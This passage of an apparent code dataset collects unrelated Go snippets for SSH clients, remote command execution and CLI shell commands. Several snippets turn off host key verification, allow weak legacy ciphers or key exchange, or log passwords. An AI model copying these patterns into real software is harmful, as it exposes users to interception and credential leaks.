Conf.SshPassword)\\n\\t} else if Conf.Method == \\\"key\\\" {\\n\\t\\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\\n\\t\\t//\\t\\tif err != nil {\\n\\t\\t//\\t\\t\\tlog.Fatal(err)\\n\\t\\t//\\t\\t}\\n\\t} else {\\n\\t\\tlog.Fatal(`Please set method \\\"password\\\" or \\\"key\\\" at configuration file`)\\n\\t}\\n\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", remote_host+\\\":\\\"+Conf.SshPort, config)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to dial: \\\", err)\\n\\t}\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to create session: \\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tvar b bytes.Buffer\\n\\tsession.Stdout = &b\\n\\tif err := session.Run(Conf.Command); err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to run: \\\" + err.Error())\\n\\t}\\n\\tfmt.Println(\\\"\\\\x1b[31;1m\\\" + remote_host + \\\"\\\\x1b[0m\\\")\\n\\treturn b.String()\\n}\",\n \"func (sshClient *SSHClient) connect() (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\n\\t// get auth method\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\tauth = append(auth, ssh.Password(sshClient.Password))\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: sshClient.Username,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\tclientConfig.Ciphers = append(clientConfig.Ciphers, \\\"aes128-cbc\\\", \\\"aes128-ctr\\\")\\n\\n\\tif sshClient.KexAlgorithms != \\\"\\\" {\\n\\t\\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, sshClient.KexAlgorithms)\\n\\t} else {\\n\\t\\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, \\\"diffie-hellman-group1-sha1\\\")\\n\\t}\\n\\n\\t/*if sshClient.Cipher != \\\"\\\" {\\n\\t\\tclientConfig.Cipher = append(clientConfig.Cipher, sshClient.Cipher)\\n\\t} else {\\n\\t\\tclientConfig.Cipher = append(clientConfig.Cipher, \\\"diffie-hellman-group1-sha1\\\")\\n\\t}*/\\n\\n\\t// connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", sshClient.Host, sshClient.Port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func SendCommand(cmd string) error {\\n\\tconn, _ := ConnectNhc(&config.Conf.NhcConfig)\\n\\t// no error handling as connect will exit in case of issue\\n\\tlog.Debug(\\\"received command: \\\", cmd)\\n\\tfmt.Println(\\\"received command: \\\", cmd)\\n\\tfmt.Fprintf(conn, cmd+\\\"\\\\n\\\")\\n\\treturn nil\\n}\",\n \"func NewConnectCmd(f factory.Factory) *cobra.Command {\\n\\tconnectCmd := &cobra.Command{\\n\\t\\tUse: \\\"connect\\\",\\n\\t\\tShort: \\\"Connect an external cluster to devspace cloud\\\",\\n\\t\\tLong: `\\n#######################################################\\n################# devspace connect ####################\\n#######################################################\\n\\t`,\\n\\t\\tArgs: cobra.NoArgs,\\n\\t}\\n\\n\\tconnectCmd.AddCommand(newClusterCmd(f))\\n\\n\\treturn connectCmd\\n}\",\n \"func main() {\\n\\tprintln(\\\"ENTER THE ADDRESS TO CONNECT (ex: \\\\\\\"185.20.227.83:22\\\\\\\"):\\\") //185.20.227.83:22\\n\\tline, _, _ := bufio.NewReader(os.Stdin).ReadLine()\\n\\taddr := string(line)\\n\\tprintln(\\\"CHOOSE A CONNECTION METHOD \\\\\\\"PASSWORD\\\\\\\" OR \\\\\\\"KEY\\\\\\\" (ex: \\\\\\\"PASSWORD\\\\\\\"):\\\")\\n\\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\\n\\tconnMethod := string(line)\\n\\n\\tvar config *ssh.ClientConfig\\n\\tif connMethod == \\\"PASSWORD\\\" {\\n\\t\\tconfig = getConfigWithPass()\\n\\t} else if connMethod == \\\"KEY\\\" {\\n\\t\\tconfig = getConfigWithKey()\\n\\t} else {\\n\\t\\tlog.Fatal(\\\"INCORRECT METHOD\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", addr, config)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tprintln(\\\"ENTER \\\\\\\"EXIT\\\\\\\" TO QUIT\\\")\\n\\tfor {\\n\\t\\tfmt.Println(\\\"ENTER THE COMMAND:\\\")\\n\\t\\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\\n\\t\\tcommand := string(line)\\n\\t\\tfmt.Println(\\\"YOUR COMMAND:\\\", command)\\n\\t\\tif command == \\\"EXIT\\\" {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tsendCommandToServer(client, command)\\n\\t}\\n}\",\n \"func Run(connectAs string, connectTo string, key string) {\\n\\ttarget := connectAs + \\\"@\\\" + connectTo\\n\\tlog.Info(\\\"Connecting as \\\" + target)\\n\\n\\texecutable := \\\"sshpass\\\"\\n\\tparams := []string{\\n\\t\\t\\\"-p\\\", key, \\\"ssh\\\", \\\"-o\\\", \\\"StrictHostKeyChecking=no\\\", \\\"-t\\\", \\\"-t\\\", target,\\n\\t}\\n\\tlog.Infof(\\\"Launching: %s %s\\\", executable, strings.Join(params, \\\" \\\"))\\n\\n\\tif log.GetLevel() == log.DebugLevel {\\n\\t\\tfor i, param := range params {\\n\\t\\t\\tif param == \\\"ssh\\\" {\\n\\t\\t\\t\\ti = i + 1\\n\\t\\t\\t\\t// Yes: this is crazy, but this inserts an element into a slice\\n\\t\\t\\t\\tparams = append(params[:i], append([]string{\\\"-v\\\"}, params[i:]...)...)\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tcmd := exec.Command(executable, params...)\\n\\tcmd.Stderr = os.Stderr\\n\\tcmd.Stdout = os.Stdout\\n\\tcmd.Stdin = os.Stdin\\n\\terr := cmd.Start()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tcmd.Wait()\\n\\tlog.Infof(\\\"Just ran subprocess %d, exiting\\\\n\\\", cmd.Process.Pid)\\n}\",\n \"func InvokeCommand(ip, cmdStr string) (string, error) {\\n\\t// OpenSSH sessions terminate sporadically when a pty isn't allocated.\\n\\t// The -t flag doesn't work with OpenSSH on Windows, so we wrap the ssh call\\n\\t// within a bash session as a workaround, so that a pty is created.\\n\\tcmd := exec.Command(\\\"/bin/bash\\\")\\n\\tcmd.Stdin = strings.NewReader(fmt.Sprintf(sshTemplate, ip, cmdStr))\\n\\tout, err := cmd.CombinedOutput()\\n\\treturn strings.TrimSpace(string(out[:])), err\\n}\",\n \"func (client *Client) Connect() error {\\n\\tkeys := ssh.Auth{\\n\\t\\tKeys: []string{client.PrivateKeyFile},\\n\\t}\\n\\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \\\"SSH-2.0-MyCustomClient-1.0\\\", client.Port, &keys, nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to request shell - %s\\\", err)\\n\\t}\\n\\terr = sshterm.Shell()\\n\\tif err != nil && err.Error() != \\\"exit status 255\\\" {\\n\\t\\treturn fmt.Errorf(\\\"Failed to request shell - %s\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\\n\\t// Develop the network connection out\\n\\tconn, err := ssh.Dial(\\\"tcp\\\", host, &conf)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\t// Actually perform our connection\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\tconn.Close()\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\treturn conn, session, nil\\n}\",\n \"func Test_SSH(t *testing.T) {\\n\\tvar cipherList []string\\n\\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tcmdlist := strings.Split(cmd, \\\";\\\")\\n\\tstdinBuf, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar outbt, errbt bytes.Buffer\\n\\tsession.Stdout = &outbt\\n\\n\\tsession.Stderr = &errbt\\n\\terr = session.Shell()\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t\\treturn\\n\\t}\\n\\tfor _, c := range cmdlist {\\n\\t\\tc = c + \\\"\\\\n\\\"\\n\\t\\tstdinBuf.Write([]byte(c))\\n\\n\\t}\\n\\tsession.Wait()\\n\\tt.Log((outbt.String() + errbt.String()))\\n\\treturn\\n}\",\n \"func NewSSHCommand(p *config.KfParams) *cobra.Command {\\n\\tvar (\\n\\t\\tdisableTTY bool\\n\\t\\tcommand []string\\n\\t\\tcontainer string\\n\\t)\\n\\n\\tcmd := &cobra.Command{\\n\\t\\tUse: \\\"ssh APP_NAME\\\",\\n\\t\\tShort: \\\"Open a shell on an App instance.\\\",\\n\\t\\tExample: `\\n\\t\\t# Open a shell to a specific App\\n\\t\\tkf ssh myapp\\n\\n\\t\\t# Open a shell to a specific Pod\\n\\t\\tkf ssh pod/myapp-revhex-podhex\\n\\n\\t\\t# Start a different command with args\\n\\t\\tkf ssh myapp -c /my/command -c arg1 -c arg2\\n\\t\\t`,\\n\\t\\tArgs: cobra.ExactArgs(1),\\n\\t\\tLong: `\\n\\t\\tOpens a shell on an App instance using the Pod exec endpoint.\\n\\n\\t\\tThis command mimics CF's SSH command by opening a connection to the\\n\\t\\tKubernetes control plane which spawns a process in a Pod.\\n\\n\\t\\tThe command connects to an arbitrary Pod that matches the App's runtime\\n\\t\\tlabels. If you want a specific Pod, use the pod/ notation.\\n\\n\\t\\tNOTE: Traffic is encrypted between the CLI and the control plane, and\\n\\t\\tbetween the control plane and Pod. A malicious Kubernetes control plane\\n\\t\\tcould observe the traffic.\\n\\t\\t`,\\n\\t\\tValidArgsFunction: completion.AppCompletionFn(p),\\n\\t\\tSilenceUsage: true,\\n\\t\\tRunE: func(cmd *cobra.Command, args []string) error {\\n\\t\\t\\tctx := cmd.Context()\\n\\t\\t\\tif err := p.ValidateSpaceTargeted(); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tstreamExec := execstreamer.Get(ctx)\\n\\n\\t\\t\\tenableTTY := !disableTTY\\n\\t\\t\\tappName := args[0]\\n\\n\\t\\t\\tpodSelector := metav1.ListOptions{}\\n\\t\\t\\tif strings.HasPrefix(appName, podPrefix) {\\n\\t\\t\\t\\tpodName := strings.TrimPrefix(appName, podPrefix)\\n\\t\\t\\t\\tpodSelector.FieldSelector = fields.OneTermEqualSelector(\\\"metadata.name\\\", podName).String()\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tappLabels := v1alpha1.AppComponentLabels(appName, \\\"app-server\\\")\\n\\t\\t\\t\\tpodSelector.LabelSelector = labels.SelectorFromSet(appLabels).String()\\n\\t\\t\\t}\\n\\n\\t\\t\\texecOpts := corev1.PodExecOptions{\\n\\t\\t\\t\\tContainer: container,\\n\\t\\t\\t\\tCommand: command,\\n\\t\\t\\t\\tStdin: true,\\n\\t\\t\\t\\tStdout: true,\\n\\t\\t\\t\\tStderr: true,\\n\\t\\t\\t\\tTTY: enableTTY,\\n\\t\\t\\t}\\n\\n\\t\\t\\tt := term.TTY{\\n\\t\\t\\t\\tOut: cmd.OutOrStdout(),\\n\\t\\t\\t\\tIn: cmd.InOrStdin(),\\n\\t\\t\\t\\tRaw: true,\\n\\t\\t\\t}\\n\\n\\t\\t\\tsizeQueue := t.MonitorSize(t.GetSize())\\n\\n\\t\\t\\tstreamOpts := remotecommand.StreamOptions{\\n\\t\\t\\t\\tStdin: cmd.InOrStdin(),\\n\\t\\t\\t\\tStdout: cmd.OutOrStdout(),\\n\\t\\t\\t\\tStderr: cmd.ErrOrStderr(),\\n\\t\\t\\t\\tTty: enableTTY,\\n\\t\\t\\t\\tTerminalSizeQueue: sizeQueue,\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Set up a TTY locally if it's enabled.\\n\\t\\t\\tif fd, isTerm := dockerterm.GetFdInfo(streamOpts.Stdin); isTerm && enableTTY {\\n\\t\\t\\t\\toriginalState, err := dockerterm.MakeRaw(fd)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tdefer dockerterm.RestoreTerminal(fd, originalState)\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn streamExec.Stream(ctx, podSelector, execOpts, streamOpts)\\n\\t\\t},\\n\\t}\\n\\n\\tcmd.Flags().StringArrayVarP(\\n\\t\\t&command,\\n\\t\\t\\\"command\\\",\\n\\t\\t\\\"c\\\",\\n\\t\\t[]string{\\\"/bin/bash\\\"},\\n\\t\\t\\\"Command to run for the shell. Subsequent definitions will be used as args.\\\",\\n\\t)\\n\\n\\tcmd.Flags().StringVar(\\n\\t\\t&container,\\n\\t\\t\\\"container\\\",\\n\\t\\tv1alpha1.DefaultUserContainerName,\\n\\t\\t\\\"Container to start the command in.\\\",\\n\\t)\\n\\n\\tcmd.Flags().BoolVarP(\\n\\t\\t&disableTTY,\\n\\t\\t\\\"disable-pseudo-tty\\\",\\n\\t\\t\\\"T\\\",\\n\\t\\tfalse,\\n\\t\\t\\\"Don't use a TTY when executing.\\\",\\n\\t)\\n\\n\\treturn cmd\\n}\",\n \"func Exec(cmds []string, host config.Host, pwd string, force bool) (string, error) {\\n\\tvar err error\\n\\tvar auth goph.Auth\\n\\tvar callback ssh.HostKeyCallback\\n\\n\\tif force {\\n\\t\\tcallback = ssh.InsecureIgnoreHostKey()\\n\\t} else {\\n\\t\\tif callback, err = DefaultKnownHosts(); err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t}\\n\\n\\tif host.Keyfile != \\\"\\\" {\\n\\t\\t// Start new ssh connection with private key.\\n\\t\\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\\n\\t\\t\\tif os.Getenv(\\\"GO\\\") == \\\"DEBUG\\\" {\\n\\t\\t\\t\\tfmt.Println(err)\\n\\t\\t\\t}\\n\\t\\t\\t// ssh: this private key is passphrase protected\\n\\t\\t\\tpwd = common.AskPass(\\\"Private key passphrase: \\\")\\n\\t\\t\\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\\n\\t\\t\\t\\treturn \\\"\\\", err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\tif pwd == \\\"\\\" {\\n\\t\\t\\tpwd = common.AskPass(\\n\\t\\t\\t\\tfmt.Sprintf(\\\"%s@%s's password: \\\", host.User, host.Addr),\\n\\t\\t\\t)\\n\\t\\t}\\n\\t\\tauth = goph.Password(pwd)\\n\\t}\\n\\n\\tif os.Getenv(\\\"GO\\\") == \\\"DEBUG\\\" {\\n\\t\\tfmt.Println(host, pwd, force)\\n\\t}\\n\\n\\tclient, err := goph.NewConn(&goph.Config{\\n\\t\\tUser: host.User,\\n\\t\\tAddr: host.Addr,\\n\\t\\tPort: host.Port,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 5 * time.Second,\\n\\t\\tCallback: callback,\\n\\t})\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// Defer closing the network connection.\\n\\tdefer client.Close()\\n\\n\\t// Execute your command.\\n\\tout, err := client.Run(strings.Join(cmds, \\\" && \\\"))\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// Get your output as []byte.\\n\\treturn string(out), nil\\n}\",\n \"func (s *Transport) connect(user string, config *ssh.ClientConfig) (*ssh.Client, error) {\\n const sshTimeout = 30 * time.Second\\n\\n if v, ok := s.client(user); ok {\\n return v, nil\\n }\\n\\n client, err := ssh.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%d\\\", s.addr, s.port), config)\\n if err != nil {\\n return nil, err\\n }\\n s.mu.Lock()\\n defer s.mu.Unlock()\\n s.clients[user] = client\\n return client, nil\\n}\",\n \"func (ssh *SSHConfig) Exec(cmdString string) error {\\n\\ttunnels, sshConfig, err := ssh.CreateTunnels()\\n\\tif err != nil {\\n\\t\\tfor _, t := range tunnels {\\n\\t\\t\\tnerr := t.Close()\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error closing ssh tunnel: %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, cmdString, false)\\n\\tif err != nil {\\n\\t\\tfor _, t := range tunnels {\\n\\t\\t\\tnerr := t.Close()\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error closing ssh tunnel: %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif keyFile != nil {\\n\\t\\t\\tnerr := utils.LazyRemove(keyFile.Name())\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error removing file %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\tbash, err := exec.LookPath(\\\"bash\\\")\\n\\tif err != nil {\\n\\t\\tfor _, t := range tunnels {\\n\\t\\t\\tnerr := t.Close()\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error closing ssh tunnel: %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif keyFile != nil {\\n\\t\\t\\tnerr := utils.LazyRemove(keyFile.Name())\\n\\t\\t\\tif nerr != nil {\\n\\t\\t\\t\\tlog.Warnf(\\\"Error removing file %v\\\", nerr)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\tvar args []string\\n\\tif cmdString == \\\"\\\" {\\n\\t\\targs = []string{sshCmdString}\\n\\t} else {\\n\\t\\targs = []string{\\\"-c\\\", sshCmdString}\\n\\t}\\n\\terr = syscall.Exec(bash, args, nil)\\n\\tnerr := utils.LazyRemove(keyFile.Name())\\n\\tif nerr != nil {\\n\\t}\\n\\treturn err\\n}\",\n \"func Connect(cmd *cobra.Command) (radio.Connector, error) {\\n\\tif cmd == nil {\\n\\t\\treturn nil, errors.New(\\\"no cobra command given\\\")\\n\\t}\\n\\tconnector := connector{\\n\\t\\tcmd: cmd,\\n\\t}\\n\\n\\treturn &connector, nil\\n}\",\n \"func (sc *SSHClient) InteractiveCommand(cmd string) error {\\n\\tsession, err := sc.client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer session.Close()\\n\\tout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tin, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tgo processOut(out, in)\\n\\touterr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tgo processOut(outerr, in)\\n\\terr = session.Shell()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Fprintf(in, \\\"%s\\\\n\\\", cmd)\\n\\treturn session.Wait()\\n}\",\n \"func DialCommand(cmd *exec.Cmd) (*Conn, error) {\\n\\treader, err := cmd.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\twriter, err := cmd.StdinPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\terr = cmd.Start()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &Conn{reader, writer, os.Getpid(), cmd.Process.Pid}, nil\\n}\",\n \"func SSHConnect(resource *OpenAmResource, port string) (*ssh.Client, *ssh.Session, error) {\\n\\n\\tsshConfig := &ssh.ClientConfig{\\n\\t\\tUser: resource.Username,\\n\\t\\tAuth: []ssh.AuthMethod{ssh.Password(resource.Password)},\\n\\t}\\n\\n\\tserverString := resource.Hostname + \\\":\\\" + port\\n\\n\\tsshConfig.HostKeyCallback = ssh.InsecureIgnoreHostKey()\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", serverString, sshConfig)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tclient.Close()\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\treturn client, session, nil\\n}\",\n \"func cmdSSH() {\\n\\tswitch state := status(B2D.VM); state {\\n\\tcase vmUnregistered:\\n\\t\\tlog.Fatalf(\\\"%s is not registered.\\\", B2D.VM)\\n\\tcase vmRunning:\\n\\t\\tcmdParts := append(strings.Fields(B2D.SSHPrefix), fmt.Sprintf(\\\"%d\\\", B2D.SSHPort), \\\"docker@localhost\\\")\\n\\t\\tif err := cmd(cmdParts[0], cmdParts[1:]...); err != nil {\\n\\t\\t\\tlog.Fatal(err)\\n\\t\\t}\\n\\tdefault:\\n\\t\\tlog.Fatalf(\\\"%s is not running.\\\", B2D.VM)\\n\\t}\\n}\",\n \"func SetSSHCommand(command string) {\\n\\tsshCommand = command\\n}\",\n \"func ConnectSSH(ip string) (*goph.Client, error) {\\n\\t// gets private ssh key\\n\\thome, err := os.UserHomeDir()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdir := home + \\\"/.ssh/id_rsa\\\"\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tfmt.Printf(\\\"Type password of ssh key:\\\")\\n\\tpass, err := reader.ReadString('\\\\n')\\n\\tpass = strings.Trim(pass, \\\"\\\\n\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// gets an auth method goph.Auth for handling the connection request\\n\\tauth, err := goph.Key(dir, pass)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// asks for a new ssh connection returning the client for SSH\\n\\tclient, err := goph.NewConn(&goph.Config{\\n\\t\\tUser: \\\"root\\\",\\n\\t\\tAddr: ip,\\n\\t\\tPort: 22,\\n\\t\\tAuth: auth,\\n\\t\\tCallback: VerifyHost, //HostCallBack custom (appends host to known_host if not exists)\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn client, nil\\n}\",\n \"func Dial(waitCtx context.Context, sshConf map[string]interface{}) (*Remoter, error) {\\n\\tr := &Remoter{}\\n\\tvar exists bool\\n\\tr.Host, exists = sshConf[\\\"host\\\"].(string)\\n\\tif !exists {\\n\\t\\treturn nil, fmt.Errorf(\\\"conf not exists host\\\")\\n\\t}\\n\\tr.User, exists = sshConf[\\\"user\\\"].(string)\\n\\tif !exists {\\n\\t\\treturn nil, fmt.Errorf(\\\"conf not exists user\\\")\\n\\t}\\n\\tr.Port, exists = sshConf[\\\"port\\\"].(string)\\n\\tif !exists {\\n\\t\\treturn nil, fmt.Errorf(\\\"conf not exists port\\\")\\n\\t}\\n\\taddr := net.JoinHostPort(r.Host, r.Port)\\n\\n\\tauth := make([]ssh.AuthMethod, 0)\\n\\tif pass, ok := sshConf[\\\"password\\\"].(string); ok {\\n\\t\\tauth = append(auth, ssh.Password(pass))\\n\\t} else {\\n\\t\\tprivKeyFileName, exists := sshConf[\\\"privKey\\\"].(string)\\n\\t\\tif !exists {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"conf not exists privKey\\\")\\n\\t\\t}\\n\\t\\tprivKeyBytes, err := ioutil.ReadFile(privKeyFileName)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tprivKey, err := ssh.ParsePrivateKey(privKeyBytes)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tauth = append(auth, ssh.PublicKeys(privKey))\\n\\t}\\n\\n\\thostKeyCallback := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tcltConf := ssh.ClientConfig{\\n\\t\\tUser: r.User,\\n\\t\\tAuth: auth,\\n\\t\\tHostKeyCallback: hostKeyCallback,\\n\\t}\\n\\t// 这里有 TCP 三次握手超时和 SSH 握手超时\\n\\tclt, err := r.dialContext(waitCtx, \\\"tcp\\\", addr, &cltConf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tr.clt = clt\\n\\treturn r, nil\\n}\",\n \"func (ssh *SSHConfig) Command(cmdString string) (*SSHCommand, error) {\\n\\treturn ssh.command(cmdString, false)\\n}\",\n \"func (ssh *SSHConfig) CommandContext(ctx context.Context, cmdString string) (*SSHCommand, error) {\\n\\ttunnels, sshConfig, err := ssh.CreateTunnels()\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\tsshCmdString, keyFile, err := createSSHCmd(sshConfig, cmdString, false)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"Unable to create command : %s\\\", err.Error())\\n\\t}\\n\\n\\tcmd := exec.CommandContext(ctx, \\\"bash\\\", \\\"-c\\\", sshCmdString)\\n\\tsshCommand := SSHCommand{\\n\\t\\tcmd: cmd,\\n\\t\\ttunnels: tunnels,\\n\\t\\tkeyFile: keyFile,\\n\\t}\\n\\treturn &sshCommand, nil\\n}\",\n \"func sendCommand(conn net.Conn, command string, text string) {\\n\\tfmt.Fprintf(conn, \\\"%s %s\\\\r\\\\n\\\", command, text)\\n fmt.Printf(\\\"%s %s\\\\n\\\", command, text)\\n}\",\n \"func Command(cfg config.Config) []cli.Command {\\n\\tsshCmd := cli.Command{\\n\\t\\tName: \\\"ssh\\\",\\n\\t\\tUsage: \\\"access an environment using ssh\\\",\\n\\t}\\n\\t// scpCmd := cli.Command{\\n\\t// \\tName: \\\"scp\\\",\\n\\t// \\tUsage: \\\"access an environment using scp\\\",\\n\\t// }\\n\\n\\tfor _, e := range cfg.Environments {\\n\\t\\tvar env = e\\n\\t\\tsshSubcommand := cli.Command{\\n\\t\\t\\tName: env.Name,\\n\\t\\t\\tUsage: \\\"ssh to \\\" + env.Name,\\n\\t\\t}\\n\\t\\t// scpSubcommand := cli.Command{\\n\\t\\t// \\tName: env.Name,\\n\\t\\t// \\tUsage: \\\"scp to \\\" + env.Name,\\n\\t\\t// }\\n\\n\\t\\tgroups, err := ansible.GetGroupsForEnvironment(cfg, env.Name)\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Printf(\\\"error loading ansible hosts for %s: %s\\\\n\\\", env.Name, err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tvar actionFunc = func(grp string, env config.Environment, scp bool) func(c *cli.Context) error {\\n\\t\\t\\treturn func(c *cli.Context) error {\\n\\t\\t\\t\\tif len(cfg.SSHUser) == 0 {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"DP_SSH_USER environment variable must be set\\\")\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tidx := c.Args().First()\\n\\t\\t\\t\\trIndex := int(-1)\\n\\n\\t\\t\\t\\tif len(idx) > 0 {\\n\\t\\t\\t\\t\\tidxInt, err := strconv.Atoi(idx)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"invalid numeric value for index: %s\\\", idx)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\trIndex = idxInt\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// if scp {\\n\\t\\t\\t\\t// \\tfmt.Println(\\\"scp to \\\" + grp + \\\" in \\\" + env.Name)\\n\\t\\t\\t\\t// } else {\\n\\t\\t\\t\\tfmt.Println(\\\"ssh to \\\" + grp + \\\" in \\\" + env.Name)\\n\\t\\t\\t\\t// }\\n\\n\\t\\t\\t\\tr, err := aws.ListEC2ByAnsibleGroup(env.Name, grp)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"error fetching ec2: %s\\\", err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif len(r) == 0 {\\n\\t\\t\\t\\t\\treturn errors.New(\\\"no matching instances found\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tvar inst aws.EC2Result\\n\\t\\t\\t\\tif len(r) > 1 {\\n\\t\\t\\t\\t\\tif rIndex < 0 {\\n\\t\\t\\t\\t\\t\\tfor i, v := range r 